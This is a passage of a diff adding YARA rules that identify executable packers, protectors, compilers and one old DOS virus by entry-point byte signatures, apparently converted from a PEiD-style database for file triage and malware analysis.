+		$0 at entrypoint
+}
+rule _dePACK__deNULL_
+{
+	meta:
+		description = "dePACK -> deNULL"
+	strings:
+		$0 = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v303_
+{
+	meta:
+		description = "WWPACK v3.03"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRo_Tiny_Pascal__BeRo_
+{
+	meta:
+		description = "BeRo Tiny Pascal -> BeRo"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+		$1 = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASProtect_V2X_DLL__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect V2.X DLL -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+	condition:
+		$0 at entrypoint
+}
+rule _PC_Shrinker_v071_
+{
+	meta:
+		description = "PC Shrinker v0.71"
+	strings:
+		$0 = {9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CDCops_II__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CD-Cops II] --> Anorganix"
+	strings:
+		$0 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+		$1 = {53 60 BD 90 90 90 90 8D 45 90 8D 5D 90 E8 00 00 00 00 8D 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SafeDisc_v4_
+{
+	meta:
+		description = "SafeDisc v4"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+	condition:
+		$0
+}
+rule _PE_Password_v02_SMTSMF_
+{
+	meta:
+		description = "PE Password v0.2 SMT/SMF"
+	strings:
+		$0 = {E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22006115__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2006.1.15 -> WFS"
+	strings:
+		$0 = {45 50 45 3A 20 45 6E 63 72 79 70 74 50 45 20 56 32 2E 32 30 30 36 2E 31 2E 31 35}
+	condition:
+		$0
+}
+rule _Krypton_v04_
+{
+	meta:
+		description = "Krypton v0.4"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 61 34 ?? ?? 2B 85 60 37 ?? ?? 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1331__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.3.1 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 01 ?? E8 29 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 02 ?? ?? 50 EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 01 ?? EB 04 ?? ?? ?? ?? 58 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 02 ?? ?? E8 5F 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b3_
+{
+	meta:
+		description = "PECompact v1.10b3"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Gleam_100__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Gleam 1.00] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 0C 53 56 57 E8 24 02 00 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WATCOM_CCpp_RunTime_systempDOS4GW_DOS_Extender_198893_
+{
+	meta:
+		description = "WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93"
+	strings:
+		$0 = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1987_
+{
+	meta:
+		description = "MS Run-Time Library 1987"
+	strings:
+		$0 = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_V037V039__Dwing_
+{
+	meta:
+		description = "Upack V0.37-V0.39 -> Dwing"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 50 FF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PEncrypt_v31_
+{
+	meta:
+		description = "PEncrypt v3.1"
+	strings:
+		$0 = {E9 ?? ?? ?? 00 F0 0F C6}
+	condition:
+		$0 at entrypoint
+}
+rule _PeCompact2_253276__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact2 2.53-2.76 --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_Borland_Cpp_DLL_Method_2__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ DLL (Method 2)] --> Anorganix"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+		$1 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Virogen_Crypt_v075_
+{
+	meta:
+		description = "Virogen Crypt v0.75"
+	strings:
+		$0 = {9C 55 E8 EC 00 00 00 87 D5 5D 60 87 D5 80 BD 15 27 40 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_Protected_Mode_compiler_1_
+{
+	meta:
+		description = "Unknown Protected Mode compiler (1)"
+	strings:
+		$0 = {FA BC ?? ?? 8C C8 8E D8 E8 ?? ?? E8 ?? ?? E8 ?? ?? 66 B8 ?? ?? ?? ?? 66 C1}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ZCode_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ZCode 1.01] --> Anorganix"
+	strings:
+		$0 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+		$1 = {E9 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E9 FB FF FF FF C3 68 00 00 00 00 64 FF 35 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _JDPack_2x__JDPack_
+{
+	meta:
+		description = "JDPack 2.x -> JDPack"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 51 40 00 68 04 25 40 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Intro 1.0] --> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+		$1 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SEN_Debug_Protector_
+{
+	meta:
+		description = "SEN Debug Protector???"
+	strings:
+		$0 = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v125_
+{
+	meta:
+		description = "PECompact v1.25"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _REC_v032_
+{
+	meta:
+		description = "REC v0.32"
+	strings:
+		$0 = {06 1E 52 B8 ?? ?? 1E CD 21 86 E0 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Lockless_Intro_Pack__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Lockless Intro Pack] --> Anorganix"
+	strings:
+		$0 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+		$1 = {2C E8 EB 1A 90 90 5D 8B C5 81 ED F6 73 90 90 2B 85 90 90 90 90 83 E8 06 89 85 FF 01 EC AD}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _tElock_v098_
+{
+	meta:
+		description = "tElock v0.98"
+	strings:
+		$0 = {E9 25 E4 FF FF 00 00 00 ?? ?? ?? ?? 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEStealth_v275a__WebtoolMaster_h_
+{
+	meta:
+		description = "EXEStealth v2.75a -> WebtoolMaster (h)"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V30__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.0 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? ?? ?? 66 8B 06 66 83 F8 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_v10_by_ANAKiN_1998__
+{
+	meta:
+		description = "PE-PACK v1.0 by ANAKiN 1998 (???)"
+	strings:
+		$0 = {74 ?? E9 ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Software_Compress_V12__BG_Software_Protect_Technologies_
+{
+	meta:
+		description = "Software Compress V1.2 -> BG Software Protect Technologies"
+	strings:
+		$0 = {E9 BE 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v212_
+{
+	meta:
+		description = "ASPack v2.12"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v50_
+{
+	meta:
+		description = "Microsoft Visual C++ v5.0"
+	strings:
+		$0 = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+	condition:
+		$0 at entrypoint
+}
+rule _NFO_v10_
+{
+	meta:
+		description = "NFO v1.0"
+	strings:
+		$0 = {8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable)"
+	strings:
+		$0 = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Crunch_V50__Bitarts_
+{
+	meta:
+		description = "Crunch V5.0 -> Bitarts"
+	strings:
+		$0 = {EB 15 03 00 00 00 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Protector_v10x_
+{
+	meta:
+		description = "UPX Protector v1.0x"
+	strings:
+		$0 = {EB EC ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_13017__Obsidium_software_
+{
+	meta:
+		description = "Obsidium 1.3.0.17 -> Obsidium software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 28 00 00 00 EB 04 ?? ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 01 ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04}
+	condition:
+		$0 at entrypoint
+}
+rule _ACProtect_109g__Risco_software_Inc_
+{
+	meta:
+		description = "ACProtect 1.09g -> Risco software Inc."
+	strings:
+		$0 = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+		$1 = {60 F9 50 E8 01 00 00 00 7C 58 58 49 50 E8 01 00 00 00 7E 58 58 79 04 66 B9 B8 72 E8 01 00 00 00 7A 83 C4 04 85 C8 EB 01 EB C1 F8 BE 72 03 73 01 74 0F 81 01 00 00 00 F9 EB 01 75 F9 E8 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_v1300__Obsidium_Software_h_
+{
+	meta:
+		description = "Obsidium v1.3.0.0 -> Obsidium Software (h)"
+	strings:
+		$0 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B 50 EB 03 8A 0B 93 33 C0 EB 02 28 B9 8B 00 EB 01 04 C3 EB 04 65 B3 54 0A E9 FA 00 00 00 EB 01 A2 E8 D5 FF FF FF EB 02 2B 49 EB 03 7C 3E 76 58 EB 04 B8 94 92 56 EB 01 72 64 67 8F 06 00 00 EB 02 23 72 83 C4 04 EB 02 A9 CB E8 47 26 00 00}
+		$1 = {EB 04 25 80 34 CA E8 29 00 00 00 EB 02 C1 81 EB 01 3A 8B 54 24 0C EB 02 32 92 83 82 B8 00 00 00 22 EB 02 F2 7F 33 C0 EB 04 65 7E 14 79 C3 EB 04 05 AD 7F 45 EB 04 05 65 0B E8 64 67 FF 36 00 00 EB 04 0D F6 A8 7F 64 67 89 26 00 00 EB 04 8D 68 C7 FB EB 01 6B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _XPEOR_v099b_
+{
+	meta:
+		description = "X-PEOR v0.99b"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+		$1 = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Microsoft_Visual_Basic_v60_
+{
+	meta:
+		description = "Microsoft Visual Basic v6.0"
+	strings:
+		$0 = {FF 25 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? FF FF FF ?? ?? ?? ?? ?? ?? 30}
+	condition:
+		$0
+}
+rule _Themida_10xx__1800_compressed_engine__Oreans_Technologies_
+{
+	meta:
+		description = "Themida 1.0.x.x - 1.8.0.0 (compressed engine) -> Oreans Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03 61 EB 35 E8 00 00 00 00 58 25 00 F0 FF FF 33 FF 66 BB 19 5A 66 83 C3 34 66 39 18 75 12 0F B7 50 3C 03 D0 BB E9 44 00 00 83 C3 67 39 1A 74 07 2D 00 10 00 00 EB DA 8B F8 B8 ?? ?? ?? ?? 03 C7 B9 5A ?? ?? ?? 03 CF EB 0A B8 ?? ?? ?? ?? B9 5A ?? ?? ?? 50 51 E8 84 00 00 00 E8 00 00 00 00 58 2D 26 00 00 00 B9 EF 01 00 00 C6 00 E9 83 E9 05 89 48 01 61 E9 AF 01}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v0896__v102__v105_v122_Delphi_stub_
+{
+	meta:
+		description = "UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? C7 87 ?? ?? ?? ?? ?? ?? ?? ?? 57 83 CD FF EB 0E ?? ?? ?? ?? 8A 06 46 88 07 47 01 DB 75 07 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_4x__LCC_Win32_1x_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)"
+	strings:
+		$0 = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Gardian_Angel_10_
+{
+	meta:
+		description = "Gardian Angel 1.0"
+	strings:
+		$0 = {06 8C C8 8E D8 8E C0 FC BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _nBinder_v361_
+{
+	meta:
+		description = "nBinder v3.6.1"
+	strings:
+		$0 = {6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C 00 5C 6E 35 36 34 35 36 35 33 32 33 34 35 34 33 5F 6E 62 33 5C}
+	condition:
+		$0
+}
+rule _PECompact_v167_
+{
+	meta:
+		description = "PECompact v1.67"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Einstein_
+{
+	meta:
+		description = "Vx: Einstein"
+	strings:
+		$0 = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+	condition:
+		$0 at entrypoint
+}
+rule _ReversingLabsProtector_074_beta__Ap0x_
+{
+	meta:
+		description = "ReversingLabsProtector 0.7.4 beta -> Ap0x"
+	strings:
+		$0 = {68 00 00 41 00 E8 01 00 00 00 C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VideoLanClient__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Video-Lan-Client] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+		$1 = {55 89 E5 83 EC 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 01 FF FF 01 01 01 00 01 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 01 00 01 00 01 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v146_
+{
+	meta:
+		description = "PECompact v1.46"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+	condition:
+		$0 at entrypoint
+}
+rule _MetaWare_High_C_RunTime_Library_p_Phar_Lap_DOS_Extender_198389_
+{
+	meta:
+		description = "MetaWare High C Run-Time Library + Phar Lap DOS Extender 1983-89"
+	strings:
+		$0 = {B8 ?? ?? 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v20_beta__Jeremy_Collake_
+{
+	meta:
+		description = "PECompact v2.0 beta -> Jeremy Collake"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_9_
+{
+	meta:
+		description = "kryptor 9"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5E B9 ?? ?? ?? ?? 2B C0 02 04 0E D3 C0 49 79 F8 41 8D 7E 2C 33 46 ?? 66 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_1999_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)"
+	strings:
+		$0 = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _ShellModify_01__pll621_
+{
+	meta:
+		description = "ShellModify 0.1 -> pll621"
+	strings:
+		$0 = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v08_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v0.8"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v010__v012Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.10 - v0.12Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v029_Beta__v031_Beta__Sign_by_hot_UNP_
+{
+	meta:
+		description = "Upack v0.29 Beta ~ v0.31 Beta -> Sign by hot_UNP"
+	strings:
+		$0 = {BE 88 01 ?? ?? AD 8B F8 95 AD 91 F3 A5 AD B5 ?? F3}
+	condition:
+		$0
+}
+rule _BopCrypt_v10_
+{
+	meta:
+		description = "BopCrypt v1.0"
+	strings:
+		$0 = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v100_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.00 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+		$1 = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SLVc0deProtector_060__SLV__ICU_
+{
+	meta:
+		description = "SLVc0deProtector 0.60 -> SLV / ICU"
+	strings:
+		$0 = {EB 02 FA 04 E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD}
+	condition:
+		$0
+}
+rule _ASPack_v10801_
+{
+	meta:
+		description = "ASPack v1.08.01"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$1 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+		$2 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 ?? BB 10 ?? 44 ?? 03 DD 2B 9D}
+		$3 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ?? ?? ?? 44 00 BB 10 ?? 44 00 03 DD 2B 9D}
+		$4 = {60 EB ?? 5D EB ?? FF ?? ?? ?? ?? ?? E9}
+		$5 = {90 90 75 ?? 90 E9}
+		$6 = {90 75 ?? 90 E9}
+		$7 = {90 90 90 75 ?? 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint or $5 at entrypoint or $6 at entrypoint or $7 at entrypoint
+}
+rule _LCC_Win32_DLL_
+{
+	meta:
+		description = "LCC Win32 DLL"
+	strings:
+		$0 = {55 89 E5 53 56 57 83 7D 0C 01 75 05 E8 17 ?? ?? ?? FF 75 10 FF 75 0C FF 75 08 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp__
+{
+	meta:
+		description = "Microsoft Visual C++ ?.?"
+	strings:
+		$0 = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_V10E__vcasm_
+{
+	meta:
+		description = "VProtector V1.0E -> vcasm"
+	strings:
